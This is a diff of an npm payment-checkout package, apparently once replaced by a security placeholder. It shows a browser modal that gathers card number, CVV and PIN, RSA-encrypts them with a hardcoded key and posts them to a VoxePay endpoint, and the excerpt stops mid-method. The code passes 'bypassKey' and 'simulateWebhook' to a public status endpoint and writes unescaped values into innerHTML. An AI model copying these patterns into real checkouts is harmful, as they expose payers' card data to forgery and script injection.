@voxepay/checkout 0.0.1-security → 0.5.19

package/dist/index.cjs.js

@@ -0,0 +1,2272 @@
+'use strict';
+
+Object.defineProperty(exports, '__esModule', { value: true });
+
+/**
+ * Card validation utilities for VoxePay Checkout
+ */
+const CARD_BRANDS = [
+    {
+        name: 'Visa',
+        code: 'visa',
+        pattern: /^4/,
+        lengths: [13, 16, 19],
+        cvvLength: 3,
+    },
+    {
+        name: 'Mastercard',
+        code: 'mastercard',
+        pattern: /^(5[1-5]|2[2-7])/,
+        lengths: [16],
+        cvvLength: 3,
+    },
+    {
+        name: 'Verve',
+        code: 'verve',
+        pattern: /^(506[0-9]|507[0-9]|6500)/,
+        lengths: [16, 18, 19],
+        cvvLength: 3,
+    },
+    {
+        name: 'American Express',
+        code: 'amex',
+        pattern: /^3[47]/,
+        lengths: [15],
+        cvvLength: 4,
+    },
+    {
+        name: 'Discover',
+        code: 'discover',
+        pattern: /^(6011|65|64[4-9])/,
+        lengths: [16, 19],
+        cvvLength: 3,
+    },
+];
+/**
+ * Detect card brand from card number
+ */
+function detectCardBrand(cardNumber) {
+    const cleaned = cardNumber.replace(/\s/g, '');
+    for (const brand of CARD_BRANDS) {
+        if (brand.pattern.test(cleaned)) {
+            return brand;
+        }
+    }
+    return null;
+}
+/**
+ * Luhn algorithm for card validation
+ */
+function luhnCheck(cardNumber) {
+    const cleaned = cardNumber.replace(/\s/g, '');
+    if (!/^\d+$/.test(cleaned))
+        return false;
+    let sum = 0;
+    let isEven = false;
+    for (let i = cleaned.length - 1; i >= 0; i--) {
+        let digit = parseInt(cleaned[i], 10);
+        if (isEven) {
+            digit *= 2;
+            if (digit > 9) {
+                digit -= 9;
+            }
+        }
+        sum += digit;
+        isEven = !isEven;
+    }
+    return sum % 10 === 0;
+}
+/**
+ * Validate card number
+ */
+function validateCardNumber(cardNumber) {
+    const cleaned = cardNumber.replace(/\s/g, '');
+    if (!cleaned) {
+        return { valid: false, error: 'Card number is required' };
+    }
+    if (!/^\d+$/.test(cleaned)) {
+        return { valid: false, error: 'Invalid card number' };
+    }
+    const brand = detectCardBrand(cleaned);
+    if (!brand) {
+        return { valid: false, error: 'Unsupported card type' };
+    }
+    if (!brand.lengths.includes(cleaned.length)) {
+        return { valid: false, error: 'Invalid card number length' };
+    }
+    if (!luhnCheck(cleaned)) {
+        return { valid: false, error: 'Invalid card number' };
+    }
+    return { valid: true };
+}
+/**
+ * Validate expiry date
+ */
+function validateExpiry(expiry) {
+    const cleaned = expiry.replace(/\s/g, '');
+    if (!cleaned) {
+        return { valid: false, error: 'Expiry date is required' };
+    }
+    const match = cleaned.match(/^(\d{2})\/(\d{2})$/);
+    if (!match) {
+        return { valid: false, error: 'Invalid format (MM/YY)' };
+    }
+    const month = parseInt(match[1], 10);
+    const year = parseInt(match[2], 10) + 2000;
+    if (month < 1 || month > 12) {
+        return { valid: false, error: 'Invalid month' };
+    }
+    const now = new Date();
+    const currentYear = now.getFullYear();
+    const currentMonth = now.getMonth() + 1;
+    if (year < currentYear || (year === currentYear && month < currentMonth)) {
+        return { valid: false, error: 'Card has expired' };
+    }
+    if (year > currentYear + 20) {
+        return { valid: false, error: 'Invalid expiry year' };
+    }
+    return { valid: true };
+}
+/**
+ * Validate CVV
+ */
+function validateCVV(cvv, cardNumber) {
+    const cleaned = cvv.replace(/\s/g, '');
+    if (!cleaned) {
+        return { valid: false, error: 'CVV is required' };
+    }
+    if (!/^\d+$/.test(cleaned)) {
+        return { valid: false, error: 'Invalid CVV' };
+    }
+    const brand = cardNumber ? detectCardBrand(cardNumber) : null;
+    const expectedLength = brand?.cvvLength || 3;
+    if (cleaned.length !== expectedLength && cleaned.length !== 3 && cleaned.length !== 4) {
+        return { valid: false, error: `CVV must be ${expectedLength} digits` };
+    }
+    return { valid: true };
+}
+/**
+ * Validate card PIN
+ */
+function validatePIN(pin) {
+    const cleaned = pin.replace(/\s/g, '');
+    if (!cleaned) {
+        return { valid: false, error: 'PIN is required' };
+    }
+    if (!/^\d{4}$/.test(cleaned)) {
+        return { valid: false, error: 'PIN must be 4 digits' };
+    }
+    return { valid: true };
+}
+
+/**
+ * Input formatting utilities for VoxePay Checkout
+ */
+/**
+ * Format card number with spaces every 4 digits
+ */
+function formatCardNumber(value) {
+    const cleaned = value.replace(/\D/g, '');
+    const groups = cleaned.match(/.{1,4}/g) || [];
+    return groups.join(' ').slice(0, 23); // Max: 19 digits + 4 spaces
+}
+/**
+ * Format expiry date as MM/YY
+ */
+function formatExpiry(value) {
+    const cleaned = value.replace(/\D/g, '');
+    if (cleaned.length === 0)
+        return '';
+    if (cleaned.length === 1) {
+        return parseInt(cleaned) > 1 ? `0${cleaned}` : cleaned;
+    }
+    if (cleaned.length === 2) {
+        const month = parseInt(cleaned);
+        if (month > 12)
+            return '12';
+        if (month === 0)
+            return '01';
+        return cleaned;
+    }
+    const month = cleaned.slice(0, 2);
+    const year = cleaned.slice(2, 4);
+    return `${month}/${year}`;
+}
+/**
+ * Format CVV (numbers only, max 4 digits)
+ */
+function formatCVV(value) {
+    return value.replace(/\D/g, '').slice(0, 4);
+}
+/**
+ * Format currency amount
+ */
+function formatAmount(amount, currency) {
+    const formatter = new Intl.NumberFormat('en-US', {
+        style: 'currency',
+        currency: currency,
+        minimumFractionDigits: 2,
+    });
+    // Convert from smallest unit (cents/kobo) to main unit
+    return formatter.format(amount / 100);
+}
+/**
+ * Format currency amount when already in main unit
+ */
+function formatMainUnitAmount(amount, currency) {
+    const formatter = new Intl.NumberFormat('en-US', {
+        style: 'currency',
+        currency: currency,
+        minimumFractionDigits: 2,
+    });
+    return formatter.format(amount);
+}
+/**
+ * Get currency symbol
+ */
+function getCurrencySymbol(currency) {
+    const symbols = {
+        NGN: '₦',
+        USD: '$',
+        EUR: '€',
+        GBP: '£',
+        GHS: '₵',
+        KES: 'KSh',
+        ZAR: 'R',
+    };
+    return symbols[currency.toUpperCase()] || currency;
+}
+/**
+ * Format card PIN (numbers only, max 4 digits)
+ */
+function formatPIN(value) {
+    return value.replace(/\D/g, '').slice(0, 4);
+}
+
+/**
+ * Pure JavaScript RSA Encryption for card data
+ * No Node.js crypto dependency — works directly in the browser
+ * Uses native BigInt for correct RSA arithmetic (aligned with node-forge)
+ */
+// ============ Native BigInt helpers for RSA ============
+const _bigIntFromBytes = (bytes) => {
+    let result = 0n;
+    for (const b of bytes)
+        result = (result << 8n) | BigInt(b);
+    return result;
+};
+const _bigIntToBytes = (n, length) => {
+    const bytes = [];
+    let rem = n;
+    while (rem > 0n) {
+        bytes.unshift(Number(rem & 0xffn));
+        rem >>= 8n;
+    }
+    while (bytes.length < length)
+        bytes.unshift(0);
+    return bytes;
+};
+const _bigIntModPow = (base, exp, mod) => {
+    let result = 1n;
+    let b = base % mod;
+    while (exp > 0n) {
+        if (exp & 1n)
+            result = (result * b) % mod;
+        exp >>= 1n;
+        b = (b * b) % mod;
+    }
+    return result;
+};
+/**
+ * Convert a string to its hex representation (matches node-forge reference)
+ */
+const toHex = (str) => {
+    let hex = '';
+    for (let i = 0; i < str.length; i++) {
+        hex += str.charCodeAt(i).toString(16);
+    }
+    return hex;
+};
+/**
+ * Convert hex string to byte array
+ */
+const hexToBytes = (hex) => {
+    const bytes = [];
+    for (let i = 0; i < hex.length; i += 2) {
+        bytes.push(parseInt(hex.substring(i, i + 2), 16));
+    }
+    return bytes;
+};
+/**
+ * Convert byte array to base64 string
+ */
+const bytesToBase64 = (bytes) => {
+    if (typeof btoa !== 'undefined') {
+        // Browser
+        return btoa(String.fromCharCode(...bytes));
+    }
+    // Node.js fallback
+    return Buffer.from(bytes).toString('base64');
+};
+// ============ PKCS#1 v1.5 Padding ============
+/**
+ * Apply PKCS#1 v1.5 type 2 padding for encryption
+ */
+const pkcs1Pad = (data, keyByteLen) => {
+    if (data.length > keyByteLen - 11) {
+        throw new Error('Message too long for RSA encryption');
+    }
+    const padLen = keyByteLen - data.length - 3;
+    const padded = new Array(keyByteLen);
+    padded[0] = 0x00;
+    padded[1] = 0x02;
+    // Fill with random non-zero bytes
+    for (let i = 0; i < padLen; i++) {
+        // Use crypto.getRandomValues if available, otherwise Math.random
+        let r = 0;
+        if (typeof crypto !== 'undefined' && crypto.getRandomValues) {
+            const arr = new Uint8Array(1);
+            while (r === 0) {
+                crypto.getRandomValues(arr);
+                r = arr[0];
+            }
+        }
+        else {
+            while (r === 0) {
+                r = Math.floor(Math.random() * 255) + 1;
+            }
+        }
+        padded[2 + i] = r;
+    }
+    padded[2 + padLen] = 0x00;
+    for (let i = 0; i < data.length; i++) {
+        padded[3 + padLen + i] = data[i];
+    }
+    return padded;
+};
+// ============ RSA Encryption Config ============
+const RSA_CONFIG = {
+    modulus: '009c7b3ba621a26c4b02f48cfc07ef6ee0aed8e12b4bd11c5cc0abf80d5206be69e1891e60fc88e2d565e2fabe4d0cf630e318a6c721c3ded718d0c530cdf050387ad0a30a336899bbda877d0ec7c7c3ffe693988bfae0ffbab71b25468c7814924f022cb5fda36e0d2c30a7161fa1c6fb5fbd7d05adbef7e68d48f8b6c5f511827c4b1c5ed15b6f20555affc4d0857ef7ab2b5c18ba22bea5d3a79bd1834badb5878d8c7a4b19da20c1f62340b1f7fbf01d2f2e97c9714a9df376ac0ea58072b2b77aeb7872b54a89667519de44d0fc73540beeaec4cb778a45eebfbefe2d817a8a8319b2bc6d9fa714f5289ec7c0dbc43496d71cf2a642cb679b0fc4072fd2cf',
+    publicExponent: '010001',
+};
+/**
+ * Generates encrypted auth data for card payment
+ * Uses pure JavaScript RSA — no Node.js crypto dependency
+ *
+ * @param params - Card details for encryption
+ * @returns Base64 encoded encrypted auth data
+ */
+const generateAuthData = async ({ version, pan, pin, expiryDate, cvv, }) => {
+    try {
+        // Build auth string: "1Z{pan}Z{pin}Z{expDate}Z{cvv}" — matches node-forge reference
+        const authString = `${version}Z${pan}Z${pin}Z${expiryDate}Z${cvv}`;
+        const messageBytes = hexToBytes(toHex(authString));
+        // Parse RSA key and determine key byte length (strip leading zero byte)
+        const modulus = BigInt('0x' + RSA_CONFIG.modulus);
+        const exponent = BigInt('0x' + RSA_CONFIG.publicExponent);
+        const modHex = RSA_CONFIG.modulus.replace(/^0+/, '');
+        const keyByteLen = Math.ceil(modHex.length / 2);
+        // PKCS#1 v1.5 padding then RSA encrypt via native BigInt
+        const padded = pkcs1Pad(messageBytes, keyByteLen);
+        const m = _bigIntFromBytes(padded);
+        const c = _bigIntModPow(m, exponent, modulus);
+        return bytesToBase64(_bigIntToBytes(c, keyByteLen));
+    }
+    catch (error) {
+        console.error('[VoxePay] Encryption error:', error);
+        throw new Error('Failed to encrypt card data');
+    }
+};
+/**
+ * Converts MM/YY format to YYMM format required by API
+ */
+const formatExpiryForApi = (expiry) => {
+    const cleaned = expiry.replace(/\s|\//g, '');
+    if (cleaned.length !== 4)
+        return '';
+    const month = cleaned.substring(0, 2);
+    const year = cleaned.substring(2, 4);
+    return `${year}${month}`;
+};
+/**
+ * Removes spaces and formatting from PAN
+ */
+const cleanPan = (pan) => {
+    return pan.replace(/\s/g, '');
+};
+
+/**
+ * VoxePay Payment API Client
+ * Handles communication with the VoxePay payment gateway
+ */
+const DEFAULT_BASE_URL = 'https://devpay.voxepay.app';
+class VoxePayApiClient {
+    constructor(apiKey, baseUrl, bearerToken) {
+        this.apiKey = apiKey;
+        this.bearerToken = bearerToken;
+        this.baseUrl = baseUrl || DEFAULT_BASE_URL;
+    }
+    /**
+     * Set Bearer token for authenticated endpoints (like getPaymentStatus)
+     */
+    setBearerToken(token) {
+        this.bearerToken = token;
+    }
+    async request(endpoint, body, includeApiKey = true) {
+        const url = `${this.baseUrl}${endpoint}`;
+        const headers = {
+            'Content-Type': 'application/json',
+            'Accept': 'application/json',
+        };
+        if (includeApiKey && this.apiKey) {
+            headers['X-API-Key'] = this.apiKey;
+        }
+        const response = await fetch(url, {
+            method: 'POST',
+            headers,
+            body: JSON.stringify(body),
+        });
+        const data = await response.json();
+        if (!response.ok) {
+            const errorMessage = data?.message || data?.error || `Request failed with status ${response.status}`;
+            const error = new Error(errorMessage);
+            error.code = data?.errorCode || data?.code || `HTTP_${response.status}`;
+            error.status = response.status;
+            error.data = data;
+            throw error;
+        }
+        return data;
+    }
+    async get(endpoint, authType = 'api-key') {
+        const url = `${this.baseUrl}${endpoint}`;
+        const headers = {
+            'Accept': 'application/json',
+        };
+        if (authType === 'bearer' && this.bearerToken) {
+            headers['Authorization'] = `Bearer ${this.bearerToken}`;
+        }
+        else if (authType === 'api-key' && this.apiKey) {
+            headers['X-API-Key'] = this.apiKey;
+        }
+        // authType === 'none' → no auth header added
+        const response = await fetch(url, {
+            method: 'GET',
+            headers,
+        });
+        const data = await response.json();
+        if (!response.ok) {
+            const errorMessage = data?.message || data?.error || `Request failed with status ${response.status}`;
+            const error = new Error(errorMessage);
+            error.code = data?.errorCode || data?.code || `HTTP_${response.status}`;
+            error.status = response.status;
+            error.data = data;
+            error.success = data?.success;
+            throw error;
+        }
+        return data;
+    }
+    /**
+     * Initiate payment (card or bank transfer) via public payment-link endpoint.
+     */
+    async initiatePayment(paymentLinkSlug, data) {
+        const response = await this.request(`/api/v1/payment-links/public/${encodeURIComponent(paymentLinkSlug)}/pay`, data, false);
+        if (response.data && typeof response.data === 'object' && 'transactionRef' in response.data) {
+            return response.data;
+        }
+        return response;
+    }
+    /**
+     * @deprecated Use initiatePayment with a paymentLinkSlug instead.
+     */
+    async initiateTransferPayment(paymentLinkSlug, data) {
+        return this.initiatePayment(paymentLinkSlug, data);
+    }
+    /**
+     * Validate OTP for a payment
+     * @param slug - The payment link slug
+     * @param data - OTP validation payload
+     */
+    async validateOTP(slug, data) {
+        return this.request(`/api/v1/payment-links/public/${encodeURIComponent(slug)}/validate-otp`, data, false);
+    }
+    /**
+     * Resend OTP for a payment
+     * @param slug - The payment link slug
+     * @param data - Resend OTP payload
+     */
+    async resendOTP(slug, data) {
+        await this.request(`/api/v1/payment-links/public/${encodeURIComponent(slug)}/resend-otp`, data, false);
+    }
+    /**
+     * Get payment status by transaction reference (used for polling DVA payments)
+     * Uses public endpoint - no authentication required
+     * @param transactionRef - The transaction reference to check
+     * @param options - Optional query parameters (simulateWebhook, bypassKey)
+     */
+    async getPaymentStatus(transactionRef, options) {
+        let endpoint = `/api/v1/payments/public/${encodeURIComponent(transactionRef)}`;
+        // Add query parameters if provided
+        const queryParams = [];
+        if (options?.simulateWebhook !== undefined) {
+            queryParams.push(`simulateWebhook=${options.simulateWebhook}`);
+        }
+        if (options?.bypassKey) {
+            queryParams.push(`bypassKey=${encodeURIComponent(options.bypassKey)}`);
+        }
+        if (queryParams.length > 0) {
+            endpoint += `?${queryParams.join('&')}`;
+        }
+        const response = await this.get(endpoint, 'none' // Public endpoint — no auth required
+        );
+        if (!response.success) {
+            const error = new Error(response.message || 'Payment not found');
+            error.code = response.errorCode || 'PAYMENT_NOT_FOUND';
+            error.success = false;
+            throw error;
+        }
+        return response.data;
+    }
+}
+
+/**
+ * VoxePay Checkout Modal Component
+ * A modern, glassmorphism payment modal
+ */
+// SVG Icons
+const ICONS = {
+    close: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
+    <path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
+  </svg>`,
+    lock: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
+    <path stroke-linecap="round" stroke-linejoin="round" d="M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z" />
+  </svg>`,
+    check: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="3">
+    <path stroke-linecap="round" stroke-linejoin="round" d="M5 13l4 4L19 7" />
+  </svg>`,
+    error: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 20 20" stroke="currentColor" stroke-width="2">
+    <path stroke-linecap="round" stroke-linejoin="round" d="M10 18a8 8 0 100-16 8 8 0 000 16zM8.707 7.293a1 1 0 00-1.414 1.414L8.586 10l-1.293 1.293a1 1 0 101.414 1.414L10 11.414l1.293 1.293a1 1 0 001.414-1.414L11.414 10l1.293-1.293a1 1 0 00-1.414-1.414L10 8.586 8.707 7.293z" />
+  </svg>`,
+    copy: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
+    <path stroke-linecap="round" stroke-linejoin="round" d="M8 16H6a2 2 0 01-2-2V6a2 2 0 012-2h8a2 2 0 012 2v2m-6 12h8a2 2 0 002-2v-8a2 2 0 00-2-2h-8a2 2 0 00-2 2v8a2 2 0 002 2z" />
+  </svg>`,
+    bank: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
+    <path stroke-linecap="round" stroke-linejoin="round" d="M3 21h18M3 10h18M5 6l7-3 7 3M4 10v11M20 10v11M8 14v3M12 14v3M16 14v3" />
+  </svg>`,
+    card: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
+    <path stroke-linecap="round" stroke-linejoin="round" d="M3 10h18M7 15h1m4 0h1m-7 4h12a3 3 0 003-3V8a3 3 0 00-3-3H6a3 3 0 00-3 3v8a3 3 0 003 3z" />
+  </svg>`,
+    clock: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
+    <path stroke-linecap="round" stroke-linejoin="round" d="M12 8v4l3 3m6-3a9 9 0 11-18 0 9 9 0 0118 0z" />
+  </svg>`,
+};
+// Card brand logos
+const CARD_BRAND_DISPLAY = {
+    visa: 'VISA',
+    mastercard: 'MC',
+    amex: 'AMEX',
+    verve: 'VERVE',
+    discover: 'DISC',
+};
+class VoxePayModal {
+    constructor(options) {
+        this.container = null;
+        this.overlay = null;
+        this.apiClient = null;
+        /** Polling interval ID for DVA status checks */
+        this.statusPollingInterval = null;
+        /** Polling timeout (auto-stop after 30 minutes) */
+        this.statusPollingTimeout = null;
+        this.handleEscape = (e) => {
+            if (e.key === 'Escape') {
+                this.close();
+                document.removeEventListener('keydown', this.handleEscape);
+            }
+        };
+        this.options = options;
+        const methods = options.paymentMethods || ['card', 'bank_transfer'];
+        // Initialize API client from SDK config
+        if (options._sdkConfig) {
+            this.apiClient = new VoxePayApiClient(options._sdkConfig.apiKey, options._sdkConfig.baseUrl);
+        }
+        this.state = {
+            cardNumber: '',
+            expiry: '',
+            cvv: '',
+            pin: '',
+            otp: '',
+            errors: {},
+            isProcessing: false,
+            isSuccess: false,
+            isOtpStep: false,
+            otpTimer: 60,
+            canResendOtp: false,
+            otpTimerInterval: null,
+            paymentMethod: methods[0],
+            transferTimer: 0,
+            transferTimerInterval: null,
+            bankTransferDetails: options.bankTransferDetails || null,
+            paymentId: null,
+            transactionId: null,
+            transactionRef: null,
+            eciFlag: null,
+            otpDeliveryMessage: null,
+        };
+    }
+    /**
+     * Open the checkout modal
+     */
+    open() {
+        this.injectStyles();
+        this.render();
+        this.attachEventListeners();
+        // Trigger open animation
+        requestAnimationFrame(() => {
+            this.overlay?.classList.add('voxepay-visible');
+        });
+    }
+    /**
+     * Close the checkout modal
+     */
+    close() {
+        this.stopTransferTimer();
+        this.stopStatusPolling();
+        this.overlay?.classList.remove('voxepay-visible');
+        setTimeout(() => {
+            this.container?.remove();
+            this.container = null;
+            this.overlay = null;
+            this.options.onClose?.();
+        }, 300);
+    }
+    /**
+     * Inject styles if not already present
+     */
+    injectStyles() {
+        if (document.getElementById('voxepay-checkout-styles'))
+            return;
+        const style = document.createElement('style');
+        style.id = 'voxepay-checkout-styles';
+        style.textContent = this.getStyles();
+        document.head.appendChild(style);
+    }
+    /**
+     * Render the modal HTML
+     */
+    render() {
+        this.container = document.createElement('div');
+        this.container.className = 'voxepay-checkout';
+        this.container.innerHTML = this.getModalHTML();
+        document.body.appendChild(this.container);
+        this.overlay = this.container.querySelector('.voxepay-overlay');
+    }
+    /**
+     * Get available payment methods
+     */
+    getPaymentMethods() {
+        return this.options.paymentMethods || ['card', 'bank_transfer'];
+    }
+    /**
+     * Get modal HTML
+     */
+    getModalHTML() {
+        const totalPayableKobo = this.options.feeDetails
+            ? Math.round((this.options.feeDetails.grossAmount + this.options.feeDetails.totalFees) * 100)
+            : this.options.amount;
+        const formattedAmount = formatAmount(totalPayableKobo, this.options.currency);
+        const methods = this.getPaymentMethods();
+        const showTabs = methods.length > 1;
+        const isCard = this.state.paymentMethod === 'card';
+        return `
+      <div class="voxepay-overlay">
+        <div class="voxepay-modal" role="dialog" aria-modal="true" aria-labelledby="voxepay-title">
+          <div class="voxepay-header">
+            <div class="voxepay-header-left">
+              <div class="voxepay-logo">V</div>
+              <div>
+                <div class="voxepay-amount" id="voxepay-title">Pay ${formattedAmount}</div>
+                ${this.options.description ? `<div style="font-size: 0.875rem; color: var(--voxepay-text-muted);">${this.options.description}</div>` : ''}
+              </div>
+            </div>
+            <button class="voxepay-close" aria-label="Close" data-action="close">
+              ${ICONS.close}
+            </button>
+          </div>
+
+          ${showTabs ? `
+          <div class="voxepay-method-tabs">
+            ${methods.includes('card') ? `
+            <button class="voxepay-method-tab ${isCard ? 'active' : ''}" data-method="card">
+              ${ICONS.card} <span>Card</span>
+            </button>` : ''}
+            ${methods.includes('bank_transfer') ? `
+            <button class="voxepay-method-tab ${!isCard ? 'active' : ''}" data-method="bank_transfer">
+              ${ICONS.bank} <span>Bank Transfer</span>
+            </button>` : ''}
+          </div>` : ''}
+          
+          <div class="voxepay-body" id="voxepay-form-container">
+            ${isCard ? this.getCardFormHTML(formattedAmount) : this.getBankTransferHTML(formattedAmount)}
+          </div>
+          
+          <div class="voxepay-footer">
+            <div class="voxepay-powered-by">
+              ${ICONS.lock}
+              <span>Secured by <strong>VoxePay</strong></span>
+            </div>
+          </div>
+        </div>
+      </div>
+    `;
+    }
+    /**
+     * Get card form HTML
+     */
+    getCardFormHTML(formattedAmount) {
+        return `
+      <form id="voxepay-payment-form" novalidate>
+        <div class="voxepay-form-group">
+          <label class="voxepay-label">
+            <span class="voxepay-label-icon">💳</span>
+            Card Number
+          </label>
+          <div class="voxepay-card-input-wrapper">
+            <input type="text" class="voxepay-input" id="voxepay-card-number" name="cardNumber"
+              placeholder="1234 5678 9012 3456" autocomplete="cc-number" inputmode="numeric" />
+            <div class="voxepay-card-brand" id="voxepay-card-brand"></div>
+          </div>
+          <div class="voxepay-error-message" id="voxepay-card-error" style="display: none;"></div>
+        </div>
+        
+        <div class="voxepay-row">
+          <div class="voxepay-form-group">
+            <label class="voxepay-label"><span class="voxepay-label-icon">📅</span> Expiry</label>
+            <input type="text" class="voxepay-input" id="voxepay-expiry" name="expiry"
+              placeholder="MM/YY" autocomplete="cc-exp" inputmode="numeric" maxlength="5" />
+            <div class="voxepay-error-message" id="voxepay-expiry-error" style="display: none;"></div>
+          </div>
+          <div class="voxepay-form-group">
+            <label class="voxepay-label"><span class="voxepay-label-icon">🔒</span> CVV</label>
+            <input type="text" class="voxepay-input" id="voxepay-cvv" name="cvv"
+              placeholder="•••" autocomplete="cc-csc" inputmode="numeric" maxlength="4" />
+            <div class="voxepay-error-message" id="voxepay-cvv-error" style="display: none;"></div>
+          </div>
+          <div class="voxepay-form-group">
+            <label class="voxepay-label"><span class="voxepay-label-icon">🔑</span> PIN</label>
+            <input type="password" class="voxepay-input" id="voxepay-pin" name="pin"
+              placeholder="••••" autocomplete="current-password" inputmode="numeric" maxlength="4" />
+            <div class="voxepay-error-message" id="voxepay-pin-error" style="display: none;"></div>
+          </div>
+        </div>
+        <div class="voxepay-sticky-actions">
+          <button type="submit" class="voxepay-submit-btn" id="voxepay-submit">
+            <span>Pay Now ${formattedAmount}</span>
+          </button>
+        </div>
+      </form>
+    `;
+    }
+    /**
+     * Get bank transfer HTML
+     */
+    getBankTransferHTML(formattedAmount) {
+        const details = this.state.bankTransferDetails;
+        if (!details) {
+            return `
+        <div class="voxepay-transfer-view">
+          <div class="voxepay-transfer-loading">
+            <div class="voxepay-spinner"></div>
+            <p style="margin-top: 16px; color: var(--voxepay-text-muted);">Generating account details...</p>
+          </div>
+        </div>
+      `;
+        }
+        let displayAmount = formattedAmount;
+        let feeBreakdown = '';
+        if (details.feeDetails && details.totalPayableAmount !== undefined) {
+            displayAmount = formatMainUnitAmount(details.totalPayableAmount, details.feeDetails.currency);
+            feeBreakdown = `
+        <div style="border-top: 1px dashed var(--voxepay-border); padding-top: 8px; margin-top: 8px; display: flex; flex-direction: column; gap: 4px;">
+          <div style="display: flex; justify-content: space-between; width: 100%; font-size: 0.85rem; color: var(--voxepay-text-muted);">
+            <span>Amount</span>
+            <span>${formatMainUnitAmount(details.feeDetails.grossAmount, details.feeDetails.currency)}</span>
+          </div>
+          <div style="display: flex; justify-content: space-between; width: 100%; font-size: 0.85rem; color: var(--voxepay-text-muted);">
+            <span>Fee</span>
+            <span>${formatMainUnitAmount(details.feeDetails.totalFees, details.feeDetails.currency)}</span>
+          </div>
+        </div>
+      `;
+        }
+        return `
+      <div class="voxepay-transfer-view">
+        <div class="voxepay-transfer-instruction">
+          <p>Transfer <strong>${displayAmount}</strong> to the account below</p>
+        </div>
+
+        <div class="voxepay-transfer-details">
+          <div class="voxepay-transfer-detail">
+            <span class="voxepay-transfer-label">Account Number</span>
+            <div class="voxepay-transfer-value-row">
+              <span class="voxepay-transfer-value voxepay-transfer-account" id="voxepay-account-number">${details.accountNumber}</span>
+              <button class="voxepay-copy-btn" id="voxepay-copy-btn" data-copy="${details.accountNumber}" title="Copy">
+                ${ICONS.copy}
+              </button>
+            </div>
+          </div>
+
+          <div class="voxepay-transfer-detail">
+            <span class="voxepay-transfer-label">Bank Name</span>
+            <span class="voxepay-transfer-value">${details.bankName}</span>
+          </div>
+
+          <div class="voxepay-transfer-detail">
+            <span class="voxepay-transfer-label">Account Name</span>
+            <span class="voxepay-transfer-value">${details.accountName}</span>
+          </div>
+
+          <div class="voxepay-transfer-detail">
+            <span class="voxepay-transfer-label">Total Amount</span>
+            <span class="voxepay-transfer-value voxepay-transfer-amount">${displayAmount}</span>
+          </div>
+          ${feeBreakdown}
+
+          <div class="voxepay-transfer-detail">
+            <span class="voxepay-transfer-label">Reference</span>
+            <span class="voxepay-transfer-value" style="font-family: monospace; letter-spacing: 1px;">${details.reference}</span>
+          </div>
+        </div>
+
+        <div class="voxepay-transfer-timer" id="voxepay-transfer-timer">
+          ${ICONS.clock}
+          <span>Account expires in <strong id="voxepay-transfer-countdown">${this.formatCountdown(details.expiresIn)}</strong></span>
+        </div>
+
+        <div style="margin: 16px 0; padding: 12px; background: rgba(0, 97, 255, 0.05); border: 1px solid var(--voxepay-primary); border-radius: 8px; display: flex; gap: 12px; align-items: flex-start;">
+          <div style="color: var(--voxepay-primary); flex-shrink: 0; margin-top: 2px;">
+            <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2" width="20" height="20">
+              <path stroke-linecap="round" stroke-linejoin="round" d="M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z" />
+            </svg>
+          </div>
+          <p style="font-size: 0.85rem; color: var(--voxepay-text); margin: 0; line-height: 1.4;">
+            <strong>Important Note:</strong> Please include <strong>${details.reference}</strong> as the narration or remark on your bank app to ensure your payment is confirmed instantly.
+          </p>
+        </div>
+        <div class="voxepay-sticky-actions">
+          <button type="button" class="voxepay-submit-btn" id="voxepay-transfer-confirm">
+            <span>🔐 Verify &amp; Pay</span>
+          </button>
+        </div>
+      </div>
+    `;
+    }
+    /**
+     * Format countdown seconds to MM:SS
+     */
+    formatCountdown(seconds) {
+        const m = Math.floor(seconds / 60);
+        const s = seconds % 60;
+        return `${String(m).padStart(2, '0')}:${String(s).padStart(2, '0')}`;
+    }
+    /**
+     * Render success view
+     */
+    renderSuccessView() {
+        const formContainer = this.container?.querySelector('#voxepay-form-container');
+        if (!formContainer)
+            return;
+        const formattedAmount = formatAmount(this.options.amount, this.options.currency);
+        formContainer.innerHTML = `
+      <div class="voxepay-success-view">
+        <div class="voxepay-success-icon">
+          ${ICONS.check}
+        </div>
+        <h2 class="voxepay-success-title">Payment Successful!</h2>
+        <p class="voxepay-success-message">Your payment of ${formattedAmount} has been processed.</p>
+        <button class="voxepay-success-btn" data-action="close">Done</button>
+      </div>
+    `;
+        // Re-attach close listener
+        const closeBtn = formContainer.querySelector('[data-action="close"]');
+        closeBtn?.addEventListener('click', () => this.close());
+    }
+    /**
+     * Render error modal view
+     */
+    renderErrorModal(code, message, recoverable) {
+        const formContainer = this.container?.querySelector('#voxepay-form-container');
+        if (!formContainer)
+            return;
+        const isRetryable = recoverable && this.state.paymentMethod === 'card';
+        formContainer.innerHTML = `
+      <div class="voxepay-error-view">
+        <div class="voxepay-error-icon-large">
+          ${ICONS.error}
+        </div>
+        <h2 class="voxepay-error-title">Payment Failed</h2>
+        <p class="voxepay-error-message">${message}</p>
+        ${code ? `<p class="voxepay-error-code">Error code: ${code}</p>` : ''}
+        <div class="voxepay-error-actions">
+          ${isRetryable ? `
+            <button class="voxepay-submit-btn" id="voxepay-retry-btn">
+              <span>Try Again</span>
+            </button>
+          ` : ''}
+          <button class="voxepay-back-btn" id="voxepay-error-close-btn">
+            ${isRetryable ? 'Cancel' : 'Close'}
+          </button>
+        </div>
+      </div>
+    `;
+        // Attach listeners
